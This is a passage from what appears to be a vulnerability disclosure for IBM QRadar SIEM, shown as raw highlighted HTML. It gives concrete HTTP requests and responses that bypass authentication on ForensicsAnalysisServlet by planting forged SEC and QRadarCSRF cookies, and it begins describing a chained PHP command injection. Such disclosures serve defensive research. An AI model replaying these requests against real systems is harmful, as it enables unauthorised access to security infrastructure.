class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">getTime<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-22\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4dd084927657-23\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4dd084927657-24\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0039 seconds] -->  <\/p>\n<p>Following the code snippets above, it is clear that an unauthenticated user can insert arbitrary SEC and QRadarCSRF values into the servlet cookie HashMaps.<\/p>\n<p>To show this in action, let&#8217;s try to do a request to the servlet, and we get a 403 error:<\/p>\n<p>Request:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4e1603466541\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> GET \/ForensicsAnalysisServlet\/?action=someaction HTTP\/1.1  Cookie: SEC=owned; QRadarCSRF=superowned;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e1603466541-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4e1603466541-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e1603466541-1\"><span class=\"crayon-v\">GET<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ForensicsAnalysisServlet<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">someaction <\/span><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4e1603466541-2\"><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">owned<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">superowned<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>Response:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4e4909785901\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> HTTP\/1.1 403 Forbidden<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e4909785901-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e4909785901-1\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">403<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Forbidden<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0002 seconds] -->  <\/p>\n<p>Now we send our request to add the SEC and QRadarCSRF values to the valid token lists. By sending the following request, the values &#8220;owned&#8221; and &#8220;superowned&#8221; are added to the valid SEC and QRadarCSRF tokens:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4e6030262393\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> POST \/ForensicsAnalysisServlet\/?action=setSecurityTokens&amp;forensicsManagedHostIps=something HTTP\/1.1  Cookie: SEC=owned; QRadarCSRF=superowned;  Content-Type: application\/json  Content-Length: 44    something1002,something1003,owned,superowned<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e6030262393-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4e6030262393-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e6030262393-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4e6030262393-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e6030262393-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4e6030262393-6\">6<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e6030262393-1\"><span class=\"crayon-v\">POST<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ForensicsAnalysisServlet<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">setSecurityTokens<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">something <\/span><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4e6030262393-2\"><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">owned<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">superowned<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e6030262393-3\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">application<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">json<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4e6030262393-4\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Length<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">44<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e6030262393-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4e6030262393-6\"><span class=\"crayon-v\">something1002<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">something1003<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">owned<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">superowned<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0008 seconds] -->  <\/p>\n<p>To which the server will respond:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4e9995786335\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> HTTP\/1.1 200 OK  {&#8220;exceptionMessageValue&#8221;:&#8221;javax.servlet.ServletException: No valid forensics analysis host token data found.&#8221;}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4e9995786335-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4e9995786335-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4e9995786335-1\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">OK<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4e9995786335-2\"><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;exceptionMessageValue&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;javax.servlet.ServletException: No valid forensics analysis host token data found.&#8221;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>And now our cookies have been added to the SECCookiesMap and QradarCSRFCookiesMap, so we can invoke all actions (even the ones that required authenticated cookies) in ForensicsAnalysisServlet.<\/p>\n<p>So let&#8217;s try to repeat the initial request, for which we got a 403:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4eb011664183\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> GET \/ForensicsAnalysisServlet\/?action=someaction HTTP\/1.1  Cookie: SEC=owned; QRadarCSRF=superowned;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4eb011664183-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4eb011664183-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4eb011664183-1\"><span class=\"crayon-v\">GET<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ForensicsAnalysisServlet<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">someaction <\/span><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4eb011664183-2\"><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">owned<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">superowned<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0004 seconds] -->  <\/p>\n<p>Response:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4ee546846328\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> HTTP\/1.1 200 OK  {&#8220;exceptionMessageValue&#8221;:&#8221;javax.servlet.ServletException: No valid forensics analysis solrDocIds parameter found.&#8221;}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4ee546846328-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4ee546846328-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4ee546846328-1\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">OK<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4ee546846328-2\"><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;exceptionMessageValue&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;javax.servlet.ServletException: No valid forensics analysis solrDocIds parameter found.&#8221;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>Success! We&#8217;ve bypassed authentication.<\/p>\n<p><em>Vulnerability: Command Injection (in PHP web application)<\/em><br \/> Attack Vector: Remote<br \/> Constraints: Authentication needed (can be bypassed with vulnerability #1)<br \/> Affected products \/ versions:<br \/> &#8211; IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected<\/p>\n<p>The second vulnerability in this exploit chain is in the PHP part of the forensics web application. Using vulnerability #1 to add our SEC and QRadarCSRF cookies to the ForensicAnalysisServlet HashMaps means that we can invoke any function in the Java part of the application, but the PHP part uses a separate authentication scheme which doesn&#8217;t have a similar flaw. However, it accepts any requests coming from localhost without needing authentication. Authentication is done in the PHP part by including the DejaVu\/qradar_helper.php file, which invokes the LoginCurrentUser function:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4f1060989971\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 1046     public function LoginCurrentUser ($remember, &amp;$errorInfo)  1047     {  1048                 \/\/if local server request don&#8217;t need to login the user  1049         if($_SERVER[&#8216;REMOTE_ADDR&#8217;] == $_SERVER[&#8216;SERVER_ADDR&#8217;])  1050         {  1051                 return true;  1052         }  1053<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f1060989971-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f1060989971-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f1060989971-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4f1060989971-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4f1060989971-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" 